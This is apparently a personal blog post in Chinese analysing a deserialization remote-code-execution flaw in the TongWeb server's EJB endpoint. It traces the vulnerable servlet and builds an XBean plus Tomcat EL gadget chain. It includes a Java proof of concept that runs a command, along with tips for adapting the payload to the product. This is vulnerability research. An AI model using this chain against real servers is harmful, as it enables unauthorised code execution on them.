TongWeb EJB 反序列化漏洞分析

exp3n5ive Lv2

漏洞分析

反序列化分析

从官网下载补丁升级说明 : TongWeb应用服务器关闭web应用端口EJB服务补丁

可以看到存在漏洞的接口是 ejbserver/ejb :

反编译所有的 Jar 包 , 全局搜索相关接口 :

根据第 34 行 , 我们可以定位到该 Servlet 位于 com.tongweb.tongejb.server.httpd.ServerServlet

在它的 service 方法中接收了 POST 数据 , 并进一步调用了 this.ejbServer.service 进行处理 , 跟进 :

100 行再次调用其他方法 , 继续跟 :

首先是对输入流进行了简单封装 , 然后先调用了 clientProtocol.readExternal(cis); 进行处理 :

这里读取了输入流的前八个字节 , 然后调用 init 方法 :

这里要求八个字节必须满足 W3EP/X.Y 的格式 ( X、Y为单个数字 )

回到刚才的 service 方法 , 接着又调用了 serverMetaData.readExternal(ois); , 在这里进行了反序列化操作 :

注意这里在反序列化前先调用了 readByte , 所以我们序列化时要先 writeByte


利用链分析

看别人的文章说该项目存在 commons-beanutils 依赖 , 但是没有 BeanComparator 类 , 所以打不了 CB 链

但是我反编译的代码里面是有这个类的 , 不知道是不是因为我的源码版本比较低……

同时看到公开的 POC 中的序列化数据 :

看来是打 XBean + Tomcat EL 链了 , 之前没学过这个链子 , 正好学习一下

这条链子可以用 java-chains 生成 :

但是该系统将 xbean-naming 的包名给修改了 , 而且还要在序列化数据中添加一些字节 , 所以这里选择重新手搓

这条链的 Source 是 BadAttributeValueExpException.readObject() , 经典的 readObject -> toString :

接着调用 javax.naming.Binding#toString :

接着来到子类的 getObject() : org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding#getObject

跟进 resolve :

这里会发现 value 是个 Reference 对象 , 并且我们可控 , 所以我们可以准备一个恶意引用 , 去加载 javax.el.ELProcessor 从而执行 EL 来 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.naming.ResourceRef;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;

import javax.management.BadAttributeValueExpException;
import javax.naming.Context;
import javax.naming.StringRefAddr;

public class POC {
public static void main(String[] args) throws Exception {
String ELString = "Runtime.getRuntime().exec('calc')";
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", ELString));

Context ctx = (Context) ReflectUtil.newInstanceWithoutConstructor(WritableContext.class);
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("Evil", ref, ctx);
ReflectUtil.setFieldValue(binding, "boundObj", null);

BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
ReflectUtil.setFieldValue(bave, "val", binding);
SerializeUtil.test(bave);

}
}

有个坑点 :

我们实例化 ReadOnlyBinding 的时候需要传入一个 Context , 而实例化 WritableContext 需要传入一个 ContextAccess.MODIFIABLE :

但是这个接口不能序列化 :

所以可以通过 newConstructorForSerialization 绕过构造器直接实例化

最后注意生成这个系统的 POC 的话还需要进行 writeByte 以及改包名


Reference

【原创0day】东方通应用服务器 EJB 反序列化远程代码执行漏洞安全通告

TongWeb最新反序列化漏洞分析

有关TongWeb应用服务器产品安全加固说明

东方通产品漏洞处置和安全加固流程软件下载

XBean + Tomcat EL 链分析

  • Title: TongWeb EJB 反序列化漏洞分析
  • Author: exp3n5ive
  • Created at : 2025-11-20 17:55:26
  • Updated at : 2025-11-20 17:56:52
  • Link: https://exp3n5ive.github.io/2025/11/20/TongWeb EJB 反序列化漏洞分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
TongWeb EJB 反序列化漏洞分析